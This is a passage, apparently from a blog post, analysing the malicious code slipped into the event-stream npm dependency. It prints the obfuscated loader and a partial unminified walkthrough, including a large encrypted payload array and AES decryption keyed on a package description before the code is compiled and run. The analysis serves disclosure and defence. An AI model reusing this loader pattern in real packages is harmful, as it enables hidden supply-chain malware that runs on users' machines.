style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Buffer.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;hex&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()}&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; n&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;2e2f746573742f64617461&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)),o&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;t[&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])][&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])];&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;o)&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; u&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]))[&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])](&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]),o),a&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;u.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;],&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]),&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]));a&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;u.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;final&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]));&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=new&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;f.paths&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.paths,f[&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])](a,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;),f.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])}&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r){}}();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The malicious piece is the part at the end, which is deliberately obfuscated to avoid detection:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(){&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; r&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;require,t&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;process;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;){&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Buffer.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;hex&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()}&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; n&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;2e2f746573742f64617461&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)),o&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;t[&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])][&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])];&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;o)&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; u&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]))[&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])](&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]),o),a&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;u.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;],&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]),&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]));a&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;u.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;final&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]));&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=new&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;f.paths&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.paths,f[&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])](a,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;),f.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(n[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])}&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r){}}();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the issue report, FallingSnow &lt;a href=&quot;https://github.com/dominictarr/event-stream/issues/116&quot;&gt;unminified the code&lt;/a&gt; to show what it&apos;s doing:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// var r = require, t = process;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// function e(r) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;//     return Buffer.from(r, &quot;hex&quot;).toString()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; decode&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Buffer.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(data, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;hex&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// var n = r(e(&quot;2e2f746573742f64617461&quot;)),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// var n = require(decode(&quot;2e2f746573742f64617461&quot;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// var n = require(&apos;./test/data&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; n = [&quot;75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629&quot;,&quot;db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1&quot;,&quot;63727970746f&quot;,&quot;656e76&quot;,&quot;6e706d5f7061636b6167655f6465736372697074696f6e&quot;,&quot;616573323536&quot;,&quot;6372656174654465636970686572&quot;,&quot;5f636f6d70696c65&quot;,&quot;686578&quot;,&quot;75746638&quot;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// o = t[e(n[3])][e(n[4])];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// npm_package_description = process[decode(n[3])][decode(n[4])];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;npm_package_description &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; process[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;env&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;npm_package_description&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// if (!o) return;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;npm_package_description) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; decipher &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;crypto&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;createDecipher&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;](&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;aes256&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, npm_package_description),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// a = u.update(n[0], e(n[8]), e(n[9]));&lt;/span&gt;&lt;/span&gt;
